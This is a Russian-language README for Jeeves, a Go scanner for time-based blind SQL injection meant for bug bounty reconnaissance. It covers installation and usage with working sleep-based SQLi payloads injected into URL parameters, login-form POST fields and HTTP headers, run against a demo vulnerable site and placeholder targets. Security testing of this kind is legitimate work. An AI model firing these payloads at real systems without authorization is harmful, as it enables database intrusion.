
Инструмент для обнаружения time-based blind SQL-инъекций для разведки и bug bounty. Принимает отдельные URL или списки, поддерживает пользовательские заголовки, прокси и POST-данные для автоматического сканирования уязвимостей.
Установка Jeeves 💀
$ go install github.com/ferreiraklet/Jeeves@latest
ИЛИ
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h
В процессе разведки вы можете найти конечные точки, уязвимые для SQL-инъекций, Например: https://redacted.com/index.php?id=1
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10
В --payload-time вы должны указать время, упомянутое в пейлоаде
cat targets | jeeves --payload-time 5
Обратите внимание на синтаксис! Должен быть таким же =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"
Прокси + Заголовки =>
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"
Отправка данных через POST-запрос (формы входа и т.п.)
Обратите внимание на синтаксис! Должен быть одинаковым! ->
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"
Вы можете использовать Jeeves с другими инструментами, такими как gau, gauplus, waybackurls, qsreplace и bhedak, чтобы усилить его мощь.
Параметры командной строки:
Usage:
-t, --payload-time, Время из пейлоада
-p, --proxy Направлять трафик через прокси
-c Уровень параллелизма, по умолчанию 25
-H, --headers Пользовательские заголовки
-d, --data Отправка POST-запроса с данными
-h Показать это сообщение справки
Использование со списком пейлоадов SQL
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done
Тестирование в заголовках
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
Пейлоад предоставлен: https://github.com/rohit0x5
ПРИМЕЧАНИЕ:
Если возникли ошибки в программе, немедленно сообщите мне.
Nilo - Проверяет статус URL (200)
Blisqy - Time-based SQLI через заголовки